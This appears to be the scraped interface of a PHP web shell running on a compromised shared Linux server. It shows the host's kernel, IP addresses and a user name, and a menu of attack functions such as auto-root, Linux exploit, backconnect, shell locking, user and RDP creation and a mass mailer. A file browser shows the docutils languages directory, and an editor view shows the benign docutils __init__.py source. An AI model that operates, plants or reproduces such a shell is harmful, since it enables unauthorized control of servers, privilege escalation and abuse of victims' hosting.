Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
docutils /
languages /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
__init__.py
2.83
KB
-rw-r--r--
af.py
1.78
KB
-rw-r--r--
ar.py
1.98
KB
-rw-r--r--
ca.py
1.89
KB
-rw-r--r--
cs.py
1.88
KB
-rw-r--r--
da.py
1.86
KB
-rw-r--r--
de.py
1.68
KB
-rw-r--r--
en.py
1.8
KB
-rw-r--r--
eo.py
1.9
KB
-rw-r--r--
es.py
1.92
KB
-rw-r--r--
fa.py
2
KB
-rw-r--r--
fi.py
1.98
KB
-rw-r--r--
fr.py
1.85
KB
-rw-r--r--
gl.py
1.99
KB
-rw-r--r--
he.py
2.62
KB
-rw-r--r--
it.py
1.77
KB
-rw-r--r--
ja.py
1.9
KB
-rw-r--r--
ko.py
1.84
KB
-rw-r--r--
lt.py
1.89
KB
-rw-r--r--
lv.py
1.82
KB
-rw-r--r--
nl.py
1.82
KB
-rw-r--r--
pl.py
1.86
KB
-rw-r--r--
pt_br.py
1.94
KB
-rw-r--r--
ru.py
2.1
KB
-rw-r--r--
sk.py
1.82
KB
-rw-r--r--
sv.py
2.05
KB
-rw-r--r--
zh_cn.py
1.98
KB
-rw-r--r--
zh_tw.py
2.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : __init__.py
# $Id: __init__.py 8467 2020-01-26 21:23:42Z milde $ # Author: David Goodger <goodger@python.org> # Copyright: This module has been placed in the public domain. # Internationalization details are documented in # <http://docutils.sf.net/docs/howto/i18n.html>. """ This package contains modules for language-dependent features of Docutils. """ __docformat__ = 'reStructuredText' import sys from importlib import import_module from docutils.utils import normalize_language_tag class LanguageImporter(object): """Import language modules. When called with a BCP 47 language tag, instances return a module with localisations from `docutils.languages` or the PYTHONPATH. If there is no matching module, warn (if a `reporter` is passed) and fall back to English. """ packages = ('docutils.languages.', '') warn_msg = ('Language "%s" not supported: ' 'Docutils-generated text will be in English.') fallback = 'en' # TODO: use a dummy module returning emtpy strings?, configurable? def __init__(self): self.cache = {} def import_from_packages(self, name, reporter=None): """Try loading module `name` from `self.packages`.""" module = None for package in self.packages: try: module = import_module(package+name) self.check_content(module) except (ImportError, AttributeError): if reporter and module: reporter.info('%s is no complete Docutils language module.' %module) elif reporter: reporter.info('Module "%s" not found.'%(package+name)) continue break return module def check_content(self, module): """Check if we got a Docutils language module.""" if not (isinstance(module.labels, dict) and isinstance(module.bibliographic_fields, dict) and isinstance(module.author_separators, list)): raise ImportError def __call__(self, language_code, reporter=None): try: return self.cache[language_code] except KeyError: pass for tag in normalize_language_tag(language_code): tag = tag.replace('-', '_') # '-' not valid in module names module = self.import_from_packages(tag, reporter) if module is not None: break else: if reporter: reporter.warning(self.warn_msg % language_code) if self.fallback: module = self.import_from_packages(self.fallback) if reporter and (language_code != 'en'): reporter.info('Using %s for language "%s".'%(module, language_code)) self.cache[language_code] = module return module get_language = LanguageImporter()
Close